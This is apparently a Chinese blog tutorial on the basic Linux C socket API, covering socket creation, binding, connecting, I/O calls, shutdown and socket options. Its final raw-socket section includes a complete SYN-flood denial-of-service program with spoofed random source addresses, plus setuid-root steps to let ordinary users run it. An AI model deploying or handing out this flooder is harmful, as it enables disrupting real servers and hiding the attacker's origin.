技术: Linux 基础套接字模型

basic socket api of linux c.

现在的很多库基本是基于异步网络IO, 以及 epoll等模型的封装, 但是 epoll模型的基础也还是基本的 socket api .
最开始学习网络编程的时候, 这个地方肯定是逃不过去的.

相关代码可以参考: https://github.com/WizardMerlin/network_life

引子

网络编程中第一个部分是深入学习TCP/IP模型, 其次就是借助socket api进行实践.

大概涉及如下api:

  • 创建 socket bind listen accept
  • 收发 read/recv/recvfrom write/send/sendto
  • 关闭 close shutdown
  • 参数 getsockopt/setsockopt
  • 地址 gethostbyaddr getaddrbyhost

socket是posix系统或者unix系统中一种特殊的文件, 也可以按照文件读写的方式进行读写 (打开, read/write, 关闭)

一个完整的连接需要一对套接字

基本的网络IO模型说起来也就3句话:

  • 客户端和服务端建立连接
  • 开始进行网络IO传输数据
  • 完毕后断开连接

正文

连接函数

服务端: socket, bind, listen, accept;
客户端: socket, connect

socket

1
int socket(int domain, int type, int protocol);

你就把这个函数理解成打开文件(它返回一个可操作的文件fd或者称为socket descriptor). 正如可以给fopen的传入不同参数值, 以打开不同的文件. 创建socket的时候,也可以指定不同的参数创建不同的socket描述符.

参数解释:

domain : 是指协议族, 具体可以查看/usr/include/bits/socket.h的定义, 常见的有:

  1. AF_INET
  2. AF_INET6
  3. AF_LOCAL(或称AF_UNIX,Unix域socket)
  4. AF_ROUTE

协议族决定了通信对应的地址类型:

  • AF_INET用ipv4地址(32位的)与端口号(16位的)的组合
  • AF_INET6, 即ipv6的地址
  • AF_UNIX用一个绝对路径名作为地址(本地套接字)

type : 根据使用协议的不同采用不同的socket类型(流还是数据报)–socket type和 protocol是配合的.
主要有SOCK_STREAM, SOCK_DGRAM, SOCK_RAW, SOCK_PACKET, SOCK_SEQPACKET等等

  • SOCK_STREAM 表明我们用的是 TCP 协议,这样会提供按顺序的,可靠,双向,面向连接的比特流(可以按字节读取)
  • SOCK_DGRAM 表明我们用的是 UDP 协议,这样只会提供定长的,不可靠,无连接的通信(只能按消息读取)

protocol : 指定协议, 常用的协议有: IPPROTO_TCP , IPPTOTO_UDP, IPPROTO_SCTP, IPPROTO_TIPC 等IP层的协议
这里其实可以填0, 因为会自动根据type对应的协议(前面一个参数type填写好, 这里直接填写0就可以了)

bind

1
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

通过socket返回的 “socket fd” 只有协议相关的信息, 但是还没有存储具体的地址和端口, 需要借助bind()函数把具体的地址和端口号赋值给socket fd.

sockfd : 即socket描述字, 它是通过socket()函数创建了, 唯一标识一个socket. bind()函数就是将给这个描述字绑定一个具体地址.

addr : 该结构体常量指针通常指向需要填充的地址协议信息, struct sockaddr根据协议族的不同有不同的机构.
可能是历史原因: 现在没有使用 struct sockaddr(而是使用的sockaddr_in), 所以到时候要强转(struct sockaddr*), 例如

1
2
struct sockaddr_in addr;
(struct sockaddr*)addr;

如ipv4和ipv6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//ipv4
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};

/* Internet address. */
struct in_addr {
uint32_t s_addr; /* address in network byte order */
};


//ipv6
struct sockaddr_in6 {
sa_family_t sin6_family; /* AF_INET6 */
in_port_t sin6_port; /* port number */
uint32_t sin6_flowinfo; /* IPv6 flow information */
struct in6_addr sin6_addr; /* IPv6 address */
uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
};

struct in6_addr {
unsigned char s6_addr[16]; /* IPv6 address */
};

Unix域对应的是:

1
2
3
4
5
6
#define UNIX_PATH_MAX    108

struct sockaddr_un {
sa_family_t sun_family; /* AF_UNIX */
char sun_path[UNIX_PATH_MAX]; /* pathname */
};

除了本地套接字(Unix)套接字外, 都要制定网络ip address和 network port.
(也就是使用的时候, 要从本机序转换到网络序)

比较常见的填充代码:

1
2
3
4
5
6
struct sockaddr_in servaddr;
memset(&servaddr, 0, sizeof(servaddr));

servaddr.sin_family = domain;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);//INADDR_ANY表示可以和任何的主机通信
servaddr.sin_port = htons(port);

addrlen : 对应地址的长度, 一般就是sockaddr_in的长度

完整的案例:

1
2
3
if ( (bind(socketfd, (struct sockaddr*)&servaddr, sizeof(servaddr))) == -1){
//error
}

通常服务器在启动的时候都会绑定一个众所周知的地址(如ip地址+端口号), 用于提供服务, 客户就可以通过它来接连服务器;
而客户端就不用指定, 由系统自动分配一个端口号和自身的ip地址组合.这就是为什么通常服务器端在listen之前会调用bind(), 而客户端就不会调用, 而是在connect()时由系统随机生成一个.

(主机序: 现在的x86架构一般是小端, 但是不保证, 也不要假定; 传输之前还是做一下转换; 网络序: 大端)
(0x0102, 如果a[0]存的是02就表示是小端; 否则是大端)
(网络字节序:4个字节的32 bit值以下面的次序传输. 首先是0~7bit, 其次8~15bit, 然后16~23bit, 最后是24~31bit)

在将一个地址绑定到socket 的时候, 请先将主机字节序转换成为网络字节序, 而不要假定主机字节序跟网络字节序一样使用的是Big-Endian.
例如:

1
2
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);

再次强调务必转成网络序.

listen和connect

1
2
int listen(int sockfd, int backlog); ---服务端(第二个参数为相应socket可以排队的最大连接个数)
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ---客户端(第二个参数为服务器端socket fd, 第三个参数是该fd的长度)

如果连接数目达此上限则 client 端将收到ECONNREFUSED 的错误;
listen()只适用 SOCK_STREAM 或 SOCK_SEQPACKET 的socket 类型, 并且如果 socket 为 AF_INET 则参数 backlog 最大值可设至 128 .

客户端通过该函数发送建立连接请求给服务端
例如:
(connect并不会返回新的socket fd, 连接成功之后就开始进行读写操作了)
( 记得最后buffer[nbytes]=’\0’; 读写操作自己控制socket fd的关闭)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 客户程序发起连接请求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
exit(1);
}
/* 连接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]='\0';
printf("I have received:%s\n", buffer);
/* 结束通讯 */
close(sockfd);

但是注意在阻塞IO下 read 如果读不满1024会阻塞等待知道满足或者超时.

accept

1
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); //第一个参数为服务器端socket fd

一旦服务端接受该请求(tcp请求队列中拿出一个), 就返回一个新的用于读写的fd(由内核生成); 此时连接也建立完毕了, 可以进行IO了(网络IO和本地IO并没有太多的区别)

参数:

  • sockfd : 监听套接字, 就是socket函数产生的(服务器的一次生命周期中仅创建一个;而 accept 函数返回的是已连接的 socket 描述字, 完成客户的请求该套接字就被关闭).
  • addr : 这是一个传出参数, struct sockaddr *的指针, 用于返回客户端的协议地址 (不区分客户端直接传入NULL, 记得强转)
  • addrlen : 客户端struct sockaddr 协议地址的长度; (放的是指针, 说明是传出参数)

accept之后, 就可以进行网络IO了(关于网络IO, 也还有好几种专门的网络IO模型)

IO函数

基本IO函数

read()/write()

简单的使用Linux的文件api进行网络IO:

1
2
3
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
ssize_t write(int fd, const void *buf, size_t count);

介绍一下read, write:
read函数是负责从 fd中读取内容.
当读成功时, read返回实际所读的字节数(>0), 如果返回的值是0表示已经读到文件的结束, 小于0表示出现了错误.
如果错误为 EINTR 说明读是由中断引起的, 如果是ECONNREST表示网络连接出了问题.

  write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数(>0).失败时返回-1, 并设置 errno变量.
在网络程序中, 当我们向套接字文件描述符写时有俩种可能:
1. 返回值大于0; 表示写了部分或者是全部的数据
2. 返回值小于0; 此时出现了错误.
错误为EINTR 表示在写的时候出现了中断错误
如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接)

专于socket

recv()/send()----和read, write大致一样, 不过flags提供了更加强大的选项
recvfrom()/sendto() ---- 一般用在udp中(server bind之后之后不需要listen, 直接和客户端进行通信)---容易阻塞
recvmsg()/sendmsg() ---- 最通用的, 最强大的,可以实现前面所有函数的功能.(涉及到的struct msghdr, iovec比较复杂)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <sys/types.h>
#include <sys/socket.h>

ssize_t send(int sockfd, const void *buf, size_t len, int flags);
ssize_t recv(int sockfd, void *buf, size_t len, int flags);

ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
const struct sockaddr *dest_addr, socklen_t addrlen);
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,
struct sockaddr *src_addr, socklen_t *addrlen);

ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags);
ssize_t recvmsg(int sockfd, struct msghdr *msg, int flags);

struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}


struct iovec
{
void *iov_base; /* 缓冲区开始的地址 */
size_t iov_len; /* 缓冲区的长度 */
}

关闭IO

1
int close(int fd);

close 操作只是使相应socket描述字的引用计数-1, 只有当引用计数为0的时候, 才会触发TCP客户端向服务器发送终止连接请求.
(被关闭的套接字不能在用于read或者write了; 注意你关闭了是accept出来用于响应客户端读写请求的socket fd还是listen fd)

1
int shutdown(int sockfd,int howto)

TCP 连接是双向的(是可读写的),当我们使用 close 时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用 shutdown.
针对不同的 howto,系统回采取不同的关闭方式.

  • howto=0 这个时候系统会关闭读通道. 但是可以继续往接字描述符写.
  • howto=1 关闭写通道, 和上面相反,着时候就只可以读了.
  • howto=2 关闭读写通道, 和 close 一样

close() Vs shutdown()

在多进程程序里面, 如果有几个子进程共享一个套接字时, 如果我们使用 shutdown, 那么所有的子进程都不能够操作了.
这个时候我们只能够使用 close 来关闭子进程的套接字描述符.

套接字选项

说明

控制套接字的行为, 如缓冲区大小, 端口重用等

1
2
3
4
5
6
7
8
#include <sys/types.h>          /* See NOTES */
#include <sys/socket.h>


int getsockopt(int sockfd, int level, int optname,
void *optval, socklen_t *optlen);
int setsockopt(int sockfd, int level, int optname,
const void *optval, socklen_t optlen);

参数说明: (当做key-value, map去理解)

相当于每个type里面有多个多个key, 每个key有多种value.

level : (type)

  • SOL_SOCKET: 通用套接字 选项
  • IPPROTO_IP: IP 选项
  • IPPROTO_TCP: TCP 选项

optname : (key)
指定控制的方式(选项的名称), 下面详细解释

optval : (value)
获得或者是设置套接字选项.根据选项名称的数据类型进行转换

详细说明如下:

SOL_SOCKET:(optname-ptval)

  • SO_BROADCAST 允许发送广播数据 int
  • SO_DEBUG 允许调试 int
  • SO_DONTROUTE 不查找路由 int
  • SO_ERROR 获得套接字错误 int
  • SO_KEEPALIVE 保持连接 int
  • SO_LINGER 延迟关闭连接 struct linger
  • SO_OOBINLINE 带外数据放入正常数据流 int
  • SO_RCVBUF 接收缓冲区大小 int
  • SO_SNDBUF 发送缓冲区大小 int
  • SO_RCVLOWAT 接收缓冲区下限 int
  • SO_SNDLOWAT 发送缓冲区下限 int
  • SO_RCVTIMEO 接收超时 struct timeval
  • SO_SNDTIMEO 发送超时 struct timeval
  • SO_REUSERADDR 允许重用本地地址和端口 int
  • SO_TYPE 获得套接字类型 int
  • SO_BSDCOMPAT 与 BSD 系统兼容 int

IPPROTO_IP

  • IP_HDRINCL 在数据包中包含 IP 首部 int
  • IP_OPTINOS IP 首部选项 int
  • IP_TOS 服务类型
  • IP_TTL 生存时间 int

IPPRO_TCP

  • TCP_MAXSEG TCP 最大数据段的大小 int
  • TCP_NODELAY 不使用 Nagle 算法 int

使用较多的案例:

案例(端口复用)

在 server 的 TCP 连接没有完全断开之前不允许重新监听是不合理的.
因为, TCP 连接没有完全断开指的是 connfd (clinetIP:6666)没有完全断开, 而我们重新监听的是 lis-tenfd(0.0.0.0:6666),
虽然是占用同一个端口, 但 IP 地址不同, connfd 对应的是与某个客户端通讯的一个具体的 IP 地址, 而 listenfd 对应的是 wildcard address.

解决这个问题的方法是使用 setsockopt()设置 socket 描述符的选项 SO_REUSEADDR 为 1,表示允许创建端口号相同但 IP 地址不同的多个 socket 描述符.
在 server 代码的 socket()和 bind()调用之间插入如下代码:

1
2
int opt = 1;
setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

案例(getsockopt)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
int s, optval, optlen = sizeof(int);

if((s = socket(AF_INET, SOCK_STREAM, 0))<0) {
perror("socket.\n");
}

/*int getsockopt(int s, int level, int optname, void*optval, socklen_t* optlen);*/
getsockopt(s, SOL_SOCKET, SO_TYPE, &optval, (socklen_t *)&optlen);
printf("optval = %d\n", optval);

close(s);
}

原始套接字

以TCP协议为例, 把原来需要系统内核做的事情, 现在我们自己来做封包 (IP数据包 && TCP数据包, 具体发送还是交给内核)
原来的话, 我们只是处理好要发送的Buffer.

调用socket函数的时候, type传入的(SOCK_STREAM,SOCK_DRAGM) 或者 SOCK_RAW; 协议传入:IPPROTO_ICMP, IPPROTO_TCP, IPPROTO_UDP 等

肉鸡

使用案例: (肉鸡攻击, 你一定听过)

下面是一个demo, 自定义tcp的源地址(模拟实现dos):
dos.c 生成可执行文件 DOS, 恶意客户端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888 /*local port*/

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;

int on=1; //used by setsockopt()
if(argc!=2) {
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}

/*feed the addr*/
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
/*deal with addr.sin_addr*/
if(inet_aton(argv[1], &addr.sin_addr)==0) { /*what if user input 'localhost'*/
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}


/* 使用 IPPROTO_TCP 创建一个 TCP 的原始套接字 */
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}

/* 设置 IP 数据包格式, 告诉系统内核模块 IP 数据包由我们自己来填写*/
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

/*只用超级用户才可以使用原始套接字*/
setuid(getpid());

/*send bomb*/
send_tcp(sockfd, &addr);
}

/*发送炸弹的实现*/
void send_tcp(int sockfd, struct sockaddr_in *addr)
{
/*用来放置我们的数据包 */
char buffer[100];
struct ip *ip;
struct tcphdr *tcp;

int head_len; //头部长度

/*我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 */
head_len=sizeof(struct ip)+sizeof(struct tcphdr);

/*填充ip数据包头部(注意本机字节序和网络字节序)*/
bzero(buffer,100);
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP 数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP 数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP 包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

/*填写 TCP 数据包 */
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;

/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1) {
/* 你不知道我是从那里来的, 让服务器阻塞等待 */
ip->ip_src.s_addr=random(); // 把客户端的源地址设置为随机

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧(可选) */
tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr));

//发送过去
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1) {
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;

return(answer);
}

编译一下, 拿 localhost 做一下实验,看看有什么结果(千万不要试别人的啊).
为了让普通用户可以运行这个程序, 我们应该将这个程序的所有者变为root, 且设置 setuid 位, 之后再运行.

1
2
chown root DOS
chmod +s DOS

尾巴

这里只是把 基本socket模型 大概的轮廓给描述了一下, 还有许多问题和相关函数没有涉及到.

其他问题

比如具体的IO函数总结, 读写函数的封装, 错误处理, 函数头文件等.

具体可以参考一下我的github库:
https://github.com/WizardMerlin/network_life

文章目录
  1. 1. 引子
  2. 2. 正文
    1. 2.1. 连接函数
      1. 2.1.1. socket
      2. 2.1.2. bind
      3. 2.1.3. listen和connect
      4. 2.1.4. accept
    2. 2.2. IO函数
      1. 2.2.1. 基本IO函数
      2. 2.2.2. 专于socket
      3. 2.2.3. 关闭IO
    3. 2.3. 套接字选项
      1. 2.3.1. 说明
      2. 2.3.2. 案例(端口复用)
      3. 2.3.3. 案例(getsockopt)
    4. 2.4. 原始套接字
      1. 2.4.1. 肉鸡
  3. 3. 尾巴
    1. 3.1. 其他问题
|